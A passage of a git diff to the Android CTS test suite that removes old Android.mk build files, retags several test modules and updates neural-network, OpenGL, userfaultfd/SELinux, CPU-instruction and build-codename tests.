+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+        "mts-neuralnetworks",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "junit",
+        "NeuralNetworksApiBenchmark_Lib",
+        "test_mlts_models_assets",
+    ],
+    jni_libs: ["libnnbenchmark_jni"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "30",
+}
diff --git a/tests/tests/neuralnetworks/benchmark/Android.mk b/tests/tests/neuralnetworks/benchmark/Android.mk
deleted file mode 100644
index 3d0aa96..0000000
--- a/tests/tests/neuralnetworks/benchmark/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsNNAPIBenchmarkTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# And when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests mts mts-neuralnetworks
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules \
-    compatibility-device-util-axt ctstestrunner-axt junit NeuralNetworksApiBenchmark_Lib
-LOCAL_JNI_SHARED_LIBRARIES := libnnbenchmark_jni
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_ASSET_DIR := test/mlts/models/assets
-
-LOCAL_SDK_VERSION := 30
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java b/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java
index c6ad0dc..6b31091 100644
--- a/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java
+++ b/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java
@@ -19,9 +19,11 @@
 import static junit.framework.TestCase.assertFalse;
 
 import android.app.Activity;
+import android.util.Log;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
+import androidx.test.filters.RequiresDevice;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.nn.benchmark.core.BenchmarkException;
@@ -48,6 +50,7 @@
  */
 @RunWith(Parameterized.class)
 public class NNAccuracyTest {
+    protected static final String TAG = NNAccuracyTest.class.getSimpleName();
 
     @Rule
     public ActivityTestRule<NNAccuracyActivity> mActivityRule =
@@ -91,6 +94,7 @@
     }
 
     @Test
+    @RequiresDevice
     @LargeTest
     public void testNNAPI() throws BenchmarkException, IOException {
         List<String> accelerators = new ArrayList<>();
@@ -103,7 +107,12 @@
             try (NNTestBase test = mModel.createNNTestBase(/*useNNAPI=*/true,
                         /*enableIntermediateTensorsDump=*/false)) {
                 test.setNNApiDeviceName(accelerator);
-                test.setupModel(mActivity);
+                if (!test.setupModel(mActivity)) {
+                    Log.d(TAG, String.format(
+                        "Cannot initialise test '%s' on accelerator %s, skipping",
+                        mModel.mModelName, accelerator));
+                    continue;
+                }
                 Pair<List<InferenceInOutSequence>, List<InferenceResult>> inferenceResults =
                         test.runBenchmarkCompleteInputSet(/*setRepeat=*/1, /*timeoutSec=*/3600);
                 BenchmarkResult benchmarkResult =
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.bp b/tests/tests/neuralnetworks/tflite_delegate/Android.bp
index 222ec06..6acce1d 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/Android.bp
+++ b/tests/tests/neuralnetworks/tflite_delegate/Android.bp
@@ -43,14 +43,14 @@
     ],
     static_libs: [
         "libgtest_ndk_c++",
-	"libgmock_ndk",
+        "libgmock_ndk",
         "libtflite_static",
     ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "mts",
-	"mts-neuralnetworks",
+        "mts-neuralnetworks",
         "general-tests",
     ],
     sdk_version: "current",
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.mk b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
deleted file mode 100644
index 785f7bd..0000000
--- a/tests/tests/neuralnetworks/tflite_delegate/Android.mk
+++ /dev/null
@@ -1,80 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-my_dir := $(call my-dir)
-
-LOCAL_PATH:= external/tensorflow/
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsTfliteNnapiDelegateTests_static
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_SRC_FILES := \
-    tensorflow/lite/delegates/nnapi/nnapi_delegate_test.cc \
-    tensorflow/lite/kernels/test_util.cc \
-    tensorflow/core/platform/default/logging.cc \
-    tensorflow/core/platform/default/env_time.cc \
-    tensorflow/lite/kernels/acceleration_test_util.cc \
-    tensorflow/lite/kernels/acceleration_test_util_internal.cc \
-    tensorflow/lite/delegates/nnapi/acceleration_test_list.cc \
-    tensorflow/lite/delegates/nnapi/acceleration_test_util.cc
-LOCAL_CPP_EXTENSION := .cc
-
-LOCAL_C_INCLUDES += external/flatbuffers/include
-LOCAL_C_INCLUDES += external/tensorflow
-LOCAL_C_INCLUDES += external/ruy
-
-LOCAL_CFLAGS :=  \
-    -DPLATFORM_POSIX_ANDROID \
-    -Wall \
-    -Werror \
-    -Wextra \
-    -Wno-extern-c-compat \
-    -Wno-sign-compare \
-    -Wno-unused-parameter \
-    -Wno-unused-private-field \
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
-LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgmock_ndk libtflite_static
-LOCAL_HEADER_LIBRARIES := libeigen gemmlowp_headers libtflite_schema_headers
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-include $(BUILD_STATIC_LIBRARY)
-
-
-# Build the actual CTS module with the static lib above.
-# This is necessary for the build system to pickup the AndroidTest.xml.
-LOCAL_PATH:= $(my_dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsTfliteNnapiDelegateTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_WHOLE_STATIC_LIBRARIES := CtsTfliteNnapiDelegateTests_static
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
-LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgmock_ndk libtflite_static
-LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts mts mts-neuralnetworks general-tests
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
index ef2a0c1..e5026de 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
@@ -81,8 +81,6 @@
     @CddTest(requirement="7.1.4.1/C-0-1")
     @Test
     public void testOpenGlEsVersion() throws InterruptedException {
-        Assume.assumeFalse(isRunningANGLE());
-
         int detectedMajorVersion = getDetectedMajorVersion();
         int reportedVersion = getVersionFromActivityManager(mActivity);
 
@@ -102,8 +100,6 @@
     @CddTest(requirement="7.1.4.1/C-2-2")
     @Test
     public void testRequiredExtensions() throws InterruptedException {
-        Assume.assumeFalse(isRunningANGLE());
-
         int reportedVersion = getVersionFromActivityManager(mActivity);
 
         if (getMajorVersion(reportedVersion) < 3)
@@ -134,8 +130,6 @@
     @CddTest(requirement="7.1.4.1/C-2-1,C-5-1,C-4-1")
     @Test
     public void testExtensionPack() throws InterruptedException {
-        Assume.assumeFalse(isRunningANGLE());
-
         // Requirements:
         // 1. If the device claims support for the system feature, the extension must be available.
         // 2. If the extension is available, the device must claim support for it.
@@ -165,8 +159,6 @@
     @CddTest(requirement="7.9.2/C-1-4")
     @Test
     public void testOpenGlEsVersionForVrHighPerformance() throws InterruptedException {
-        Assume.assumeFalse(isRunningANGLE());
-
         if (!supportsVrHighPerformance())
             return;
         restartActivityWithClientVersion(3);
@@ -183,8 +175,6 @@
     @CddTest(requirement="7.9.2/C-1-6,C-1-8")
     @Test
     public void testRequiredExtensionsForVrHighPerformance() throws InterruptedException {
-        Assume.assumeFalse(isRunningANGLE());
-
         if (!supportsVrHighPerformance())
             return;
         restartActivityWithClientVersion(3);
@@ -291,8 +281,6 @@
             "EGL_EXT_surface_CTA861_3_metadata",
         };
 
-        Assume.assumeFalse(isRunningANGLE());
-
         // This requirement only applies if device is handheld and claims to be HDR capable.
         boolean isHdrCapable = mActivity.getResources().getConfiguration().isScreenHdr();
         if (!isHdrCapable || !isHandheld())
@@ -336,8 +324,6 @@
     @CddTest(requirement="7.1.4.5/C-1-5")
     @Test
     public void testRequiredEglExtensionsForWideColorDisplay() {
-        Assume.assumeFalse(isRunningANGLE());
-
         // See CDD section 7.1.4.5
         // This test covers the EGL portion of the CDD requirement. The VK portion of the
         // requirement is covered elsewhere.
@@ -523,14 +509,4 @@
         PackageManager pm = mActivity.getPackageManager();
         return pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
     }
-
-    private boolean isRunningANGLE() {
-        try {
-            // We expect to find something like: OpenGL ES 1.0 (ANGLE 2.1.0.310294adacdd)
-            return mActivity.getVersionString().contains("ANGLE");
-        } catch (Exception e) {
-            Log.e(TAG, "Caught exception: " + e);
-        }
-        return false;
-    }
 }
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index 43dfba1..14815f2 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -61,7 +61,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-permission",
         "sts",
     ],
     sdk_version: "test_current",
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
deleted file mode 100644
index 36268f5..0000000
--- a/tests/tests/os/Android.mk
+++ /dev/null
@@ -1,61 +0,0 @@
-# Copyright (C) 2008 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# platform version check (b/32056228)
-# ============================================================
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := cts-platform-version-check
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_CLASS := ETC
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
-
-cts_platform_version_path := cts/tests/tests/os/assets/platform_versions.txt
-cts_platform_version_string := $(shell cat $(cts_platform_version_path))
-cts_platform_release_path := cts/tests/tests/os/assets/platform_releases.txt
-cts_platform_release_string := $(shell cat $(cts_platform_release_path))
-
-include $(BUILD_SYSTEM)/base_rules.mk
-
-$(LOCAL_BUILT_MODULE) : $(cts_platform_version_path) build/core/version_defaults.mk
-	$(hide) if [ -z "$(findstring $(PLATFORM_VERSION),$(cts_platform_version_string))" ]; then \
-		echo "============================================================" 1>&2; \
-		echo "Could not find version \"$(PLATFORM_VERSION)\" in CTS platform version file:" 1>&2; \
-		echo "" 1>&2; \
-		echo "	$(cts_platform_version_path)" 1>&2; \
-		echo "" 1>&2; \
-		echo "Most likely PLATFORM_VERSION in build/core/version_defaults.mk" 1>&2; \
-		echo "has changed and a new version must be added to this CTS file." 1>&2; \
-		echo "============================================================" 1>&2; \
-		exit 1; \
-	fi
-	$(hide) if [ -z "$(findstring $(PLATFORM_VERSION_LAST_STABLE),$(cts_platform_release_string))" ]; then \
-		echo "============================================================" 1>&2; \
-		echo "Could not find version \"$(PLATFORM_VERSION_LAST_STABLE)\" in CTS platform release file:" 1>&2; \
-		echo "" 1>&2; \
-		echo "	$(cts_platform_release_path)" 1>&2; \
-		echo "" 1>&2; \
-		echo "Most likely PLATFORM_VERSION_LAST_STABLE in build/core/version_defaults.mk" 1>&2; \
-		echo "has changed and a new version must be added to this CTS file." 1>&2; \
-		echo "============================================================" 1>&2; \
-		exit 1; \
-	fi
-	@mkdir -p $(dir $@)
-	echo $(cts_platform_version_string) > $@
diff --git a/tests/tests/os/AutoRevokeQApp/Android.bp b/tests/tests/os/AutoRevokeQApp/Android.bp
index 72e9f08..5c7d4b9 100644
--- a/tests/tests/os/AutoRevokeQApp/Android.bp
+++ b/tests/tests/os/AutoRevokeQApp/Android.bp
@@ -29,7 +29,7 @@
         "cts",
         "vts",
         "vts10",
-        "mts",
+        "mts-permission",
         "general-tests",
         "sts",
     ],
diff --git a/tests/tests/os/AutoRevokeRApp/Android.bp b/tests/tests/os/AutoRevokeRApp/Android.bp
index cb82a12..8e01388 100644
--- a/tests/tests/os/AutoRevokeRApp/Android.bp
+++ b/tests/tests/os/AutoRevokeRApp/Android.bp
@@ -28,7 +28,7 @@
     test_suites: [
         "cts",
         "vts",
-        "mts",
+        "mts-permission",
         "general-tests",
         "sts",
     ],
diff --git a/tests/tests/os/AutoRevokeSApp/Android.bp b/tests/tests/os/AutoRevokeSApp/Android.bp
index 77fba78..60ca80f 100644
--- a/tests/tests/os/AutoRevokeSApp/Android.bp
+++ b/tests/tests/os/AutoRevokeSApp/Android.bp
@@ -28,7 +28,7 @@
     test_suites: [
         "cts",
         "vts",
-        "mts",
+        "mts-permission",
         "general-tests",
         "sts",
     ],
diff --git a/tests/tests/os/CompanionTestApp/Android.bp b/tests/tests/os/CompanionTestApp/Android.bp
index b8d873e..3a0f07e 100644
--- a/tests/tests/os/CompanionTestApp/Android.bp
+++ b/tests/tests/os/CompanionTestApp/Android.bp
@@ -30,7 +30,7 @@
         "cts",
         "vts",
         "vts10",
-        "mts",
+        "mts-permission",
         "general-tests",
         "sts",
     ],
diff --git a/tests/tests/os/OWNERS b/tests/tests/os/OWNERS
index c748b28..5c286aa 100644
--- a/tests/tests/os/OWNERS
+++ b/tests/tests/os/OWNERS
@@ -1,5 +1,6 @@
 per-file *AutoRevoke* = file:platform/frameworks/base:/core/java/android/permission/OWNERS
 per-file *AppHibernation* = file:platform/frameworks/base:/core/java/android/permission/OWNERS
 per-file *Companion* = file:platform/frameworks/base:/core/java/android/permission/OWNERS
+per-file *Vibrat* = file:platform/frameworks/base:/services/core/java/com/android/server/vibrator/OWNERS
 per-file *AndroidManifest.xml = file:platform/frameworks/base:/core/java/android/permission/OWNERS
 per-file *CtsOsTestCases.xml = file:platform/frameworks/base:/core/java/android/permission/OWNERS
diff --git a/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc b/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
index d6dd73c..8533d7e 100644
--- a/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
+++ b/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
@@ -16,6 +16,7 @@
 #include "jni.h"
 
 #include <cstring>
+#include <cassert>
 
 #include <errno.h>
 #include <fcntl.h>
@@ -23,13 +24,17 @@
 #include <poll.h>
 #include <pthread.h>
 #include <stdio.h>
+#include <string.h>
 #include <syscall.h>
 #include <sys/ioctl.h>
 #include <sys/mman.h>
 #include <sys/types.h>
 #include <sys/utsname.h>
+#include <sys/xattr.h>
 #include <unistd.h>
 
+#define SELINUX_CTXT_LEN 255
+
 static void* userfault_handler_thread(void* arg) {
   struct uffd_msg msg;
   struct uffdio_copy uffdio_copy;
@@ -95,6 +100,17 @@
   pthread_exit(reinterpret_cast<void*>(ret));
 }
 
+int64_t uffd_api_ioctl(int fd, uint64_t features) {
+  struct uffdio_api api;
+  std::memset(&api, '\0', sizeof api);
+  api.api = UFFD_API;
+  api.features = features;
+  if (ioctl(fd, UFFDIO_API, &api) < 0) {
+    return -1;
+  }
+  return api.features;
+}
+
 extern "C"
 JNIEXPORT bool JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_confirmKernelVersion(JNIEnv*) {
 #if defined(__linux__)
@@ -103,9 +119,9 @@
 
   int major, minor;
   struct utsname uts;
-  if (uname(&uts) != 0 ||
-      strcmp(uts.sysname, "Linux") != 0 ||
-      sscanf(uts.release, "%d.%d", &major, &minor) != 2 ||
+  uname(&uts);
+  assert(strcmp(uts.sysname, "Linux") == 0);
+  if (sscanf(uts.release, "%d.%d", &major, &minor) != 2 ||
       (major < kRequiredMajor || (major == kRequiredMajor && minor < kRequiredMinor))) {
     return false;
   }
@@ -116,6 +132,22 @@
 }
 
 extern "C"
+JNIEXPORT bool JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_confirmKernelArch64bit(JNIEnv*) {
+#if defined(__linux__)
+  struct utsname uts;
+  uname(&uts);
+  assert(strcmp(uts.sysname, "Linux") == 0);
+  if (strstr(uts.machine, "64") != nullptr ||
+      strstr(uts.machine, "armv8") == uts.machine) {
+    return true;
+  }
+  return false;
+#else
+  return false;
+#endif
+}
+
+extern "C"
 JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_performKernelSpaceUffd(JNIEnv*) {
   int ret = 0, write_fd = 0;
   void* addr = nullptr;
@@ -150,10 +182,7 @@
     goto out_close_both;
   }
 
-  struct uffdio_api api;
-  std::memset(&api, '\0', sizeof api);
-  api.api = UFFD_API;
-  if (ioctl(uffd, UFFDIO_API, &api) < 0) {
+  if (uffd_api_ioctl(uffd, /*features*/ 0) == -1) {
     ret = errno;
     goto out_unmap;
   }
@@ -227,22 +256,52 @@
 
 extern "C"
 JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_performMinorUffd(JNIEnv*) {
+  uint64_t req_features = UFFD_FEATURE_MINOR_SHMEM;
+  int64_t available_features = 0;
   int ret = 0;
   int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK | UFFD_USER_MODE_ONLY);
   if (uffd < 0) {
     ret = errno;
     goto out;
   }
-  struct uffdio_api api;
-  std::memset(&api, '\0', sizeof api);
-  api.api = UFFD_API;
-  // TODO: Uncomment the following line once the userfaultfd minor patches are
-  // merged in the kernel.
-  //  api.features = UFFD_FEATURE_MINOR_SHMEM;
-  if (ioctl(uffd, UFFDIO_API, &api) < 0) {
+  available_features = uffd_api_ioctl(uffd, req_features);
+  if (available_features == -1) {
     ret = errno;
+  } else if ((available_features & req_features) != req_features) {
+    // Minor feature is not supported by this kernel.
+    ret = EINVAL;
   }
   close(uffd);
 out:
   return ret;
 }
+
+extern "C"
+JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_checkGetattr(JNIEnv*) {
+  ssize_t attr_ret = 0;
+  char selinux_ctxt[SELINUX_CTXT_LEN + 1];
+  int ret = 0;
+  int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK | UFFD_USER_MODE_ONLY);
+  if (uffd < 0) {
+    ret = errno;
+    goto out;
+  }
+  if (uffd_api_ioctl(uffd, /*features*/ 0) == -1) {
+    ret = errno;
+    goto out_close;
+  }
+  attr_ret = fgetxattr(uffd, XATTR_NAME_SELINUX, selinux_ctxt, SELINUX_CTXT_LEN);
+  if (attr_ret == -1) {
+    ret = errno;
+    goto out_close;
+  }
+  // We should never reach here as the call to fgetxattr must return EACCES.
+  selinux_ctxt[attr_ret] = 0;
+  if (strstr(selinux_ctxt, "userfaultfd") == nullptr) {
+    ret = -1;
+  }
+out_close:
+  close(uffd);
+out:
+  return ret;
+}
diff --git a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
index b537489..2f092a6 100644
--- a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
+++ b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
@@ -39,8 +39,8 @@
   @Before
   public void setUp() {
       boolean mShouldRunTest = !(FeatureUtil.isAutomotive()
-              && ApiLevelUtil.isAtMost(VERSION_CODES.S));
-      Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S", mShouldRunTest);
+              && ApiLevelUtil.isAtMost(VERSION_CODES.S_V2));
+      Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S_V2", mShouldRunTest);
       Assume.assumeTrue("Skip userfaultfd tests on kernels lower than 5.4", confirmKernelVersion());
   }
 
@@ -71,12 +71,24 @@
   // Test if userfaultfd works for minor-faults on shmem.
   @Test
   public void minorUserfaultfd() {
+    // minor fault feature is not enabled on 32-bit kernel archs.
+    Assume.assumeTrue(confirmKernelArch64bit());
     assertEquals(0, performMinorUffd());
   }
 
+  // Confirms if userfaultfd is controlled by selinux or not.
+  // We don't allow getattr operation in our selinux policy.
+  @Test
+  public void selinuxEnabled() {
+    // Expect the return value to be EACCES (13).
+    assertEquals(13, checkGetattr());
+  }
+
+  private native boolean confirmKernelArch64bit();
   private native boolean confirmKernelVersion();
   private native int performKernelSpaceUffd();
   private native int uffdWithoutUserModeOnly();
   private native int performMremapDontUnmap();
   private native int performMinorUffd();
+  private native int checkGetattr();
 }
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index 48082f7..91da44c 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1 +1,4 @@
-12
+S
+Sv2
+Tiramisu
+UpsideDownCake
diff --git a/tests/tests/os/jni/android_os_cts_CpuInstructions.cpp b/tests/tests/os/jni/android_os_cts_CpuInstructions.cpp
index c8cf735..ac1feba 100644
--- a/tests/tests/os/jni/android_os_cts_CpuInstructions.cpp
+++ b/tests/tests/os/jni/android_os_cts_CpuInstructions.cpp
@@ -83,14 +83,6 @@
     asm volatile ( "swp r0, r0, [%0]" : "+r"(ptr) : : "r0" );
 }
 
-static void setend()
-{
-    asm volatile (
-        "setend be" "\n"
-        "setend le" "\n"
-    );
-}
-
 static void cp15_dsb()
 {
     asm volatile ( "mcr p15, 0, %0, c7, c10, 4" : : "r"(0) );
@@ -101,11 +93,6 @@
     return test_instruction(swp);
 }
 
-jboolean android_os_cts_CpuInstructions_hasSetend(JNIEnv *, jobject)
-{
-    return test_instruction(setend);
-}
-
 jboolean android_os_cts_CpuInstructions_hasCp15Barriers(JNIEnv *, jobject)
 {
     return test_instruction(cp15_dsb);
@@ -116,11 +103,6 @@
     return false;
 }
 
-jboolean android_os_cts_CpuInstructions_hasSetend(JNIEnv *, jobject)
-{
-    return false;
-}
-
 jboolean android_os_cts_CpuInstructions_hasCp15Barriers(JNIEnv *, jobject)
 {
     return false;
@@ -130,7 +112,6 @@
 static JNINativeMethod gMethods[] = {
     { "canReadCntvct", "()Z", (void *)android_os_cts_CpuInstructions_canReadCntvct },
     { "hasSwp", "()Z", (void *)android_os_cts_CpuInstructions_hasSwp },
-    { "hasSetend", "()Z", (void *)android_os_cts_CpuInstructions_hasSetend },
     { "hasCp15Barriers", "()Z",
             (void *)android_os_cts_CpuInstructions_hasCp15Barriers },
 };
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
index b1688d2..69d020b 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
@@ -56,7 +56,7 @@
 // Time to find a notification. Unlikely, but in cases with a lot of notifications, it may take
 // time to find the notification we're looking for
 const val NOTIF_FIND_TIMEOUT = 20000L
-const val VIEW_WAIT_TIMEOUT = 1000L
+const val VIEW_WAIT_TIMEOUT = 3000L
 
 const val CMD_EXPAND_NOTIFICATIONS = "cmd statusbar expand-notifications"
 const val CMD_COLLAPSE = "cmd statusbar collapse"
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 0b99da7..e583269 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -64,6 +64,7 @@
 import org.junit.Assert.assertTrue
 import org.junit.Assume.assumeFalse
 import org.junit.Before
+import org.junit.Ignore;
 import org.junit.Rule
 import org.junit.Test
 import org.junit.runner.RunWith
@@ -137,6 +138,7 @@
 
     @AppModeFull(reason = "Uses separate apps for testing")
     @Test
+    @Ignore("b/201545116")
     fun testUnusedApp_getsPermissionRevoked() {
         assumeFalse(
                 "Watch doesn't provide a unified way to check notifications. it depends on UX",
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index e2ed1a2..3b8df0b 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -35,6 +35,7 @@
 import java.util.Scanner;
 import java.util.Set;
 import java.util.regex.Pattern;
+import java.util.stream.Collectors;
 
 public class BuildTest extends TestCase {
 
@@ -59,6 +60,12 @@
      * Verify that the CPU ABI fields on device match the permitted ABIs defined by CDD.
      */
     public void testCpuAbi_valuesMatchPermitted() throws Exception {
+        for (String abi : Build.SUPPORTED_ABIS) {
+            if (abi.endsWith("-hwasan")) {
+                // HWASan builds are not official builds and support *-hwasan ABIs.
+                return;
+            }
+        }
         // The permitted ABIs are listed in https://developer.android.com/ndk/guides/abis.
         Set<String> just32 = new HashSet<>(Arrays.asList("armeabi", "armeabi-v7a", "x86"));
         Set<String> just64 = new HashSet<>(Arrays.asList("x86_64", "arm64-v8a"));
@@ -281,10 +288,21 @@
         assertTrue(TYPE_PATTERN.matcher(Build.TYPE).matches());
 
         assertNotEmpty(Build.USER);
+    }
 
+    /**
+     * Tests that check for valid values of codenames related constants.
+     */
+    public void testBuildCodenameConstants() {
         // CUR_DEVELOPMENT must be larger than any released version.
         Field[] fields = Build.VERSION_CODES.class.getDeclaredFields();
-        List<String> codenames = Arrays.asList(ACTIVE_CODENAMES);
+        List<String> activeCodenames = Arrays.asList(ACTIVE_CODENAMES);
+        // Make the codenames uppercase to match the field names.
+        activeCodenames.replaceAll(String::toUpperCase);
+        Set<String> knownCodenames = Build.VERSION.KNOWN_CODENAMES.stream()
+                .map(String::toUpperCase)
+                .collect(Collectors.toSet());
+        HashSet<String> declaredCodenames = new HashSet<>();
         for (Field field : fields) {
             if (field.getType().equals(int.class) && Modifier.isStatic(field.getModifiers())) {
                 String fieldName = field.getName();
@@ -294,22 +312,42 @@
                 } catch (IllegalAccessException e) {
                     throw new AssertionError(e.getMessage());
                 }
+                declaredCodenames.add(fieldName);
                 if (fieldName.equals("CUR_DEVELOPMENT")) {
                     // It should be okay to change the value of this constant in future, but it
                     // should at least be a conscious decision.
                     assertEquals(10000, fieldValue);
-                } else if (codenames.contains(fieldName)) {
-                    // This is the current development version. Note that fieldName can
-                    // become < CUR_DEVELOPMENT before CODENAME becomes "REL", so we
-                    // can't assertEquals(CUR_DEVELOPMENT, fieldValue) here.
-                    assertTrue("Expected " + fieldName + " value to be <= " + CUR_DEVELOPMENT
-                            + ", got " + fieldValue, fieldValue <= CUR_DEVELOPMENT);
                 } else {
-                    assertTrue("Expected " + fieldName + " value to be < " + CUR_DEVELOPMENT
-                            + ", got " + fieldValue, fieldValue < CUR_DEVELOPMENT);
+                    // Remove all underscores to match build level codenames, e.g. S_V2 is Sv2.
+                    String fieldNameWithoutUnderscores = fieldName.replaceAll("_", "");
+                    if (activeCodenames.contains(fieldNameWithoutUnderscores)) {
+                        // This is the current development version. Note that fieldName can
+                        // become < CUR_DEVELOPMENT before CODENAME becomes "REL", so we
+                        // can't assertEquals(CUR_DEVELOPMENT, fieldValue) here.
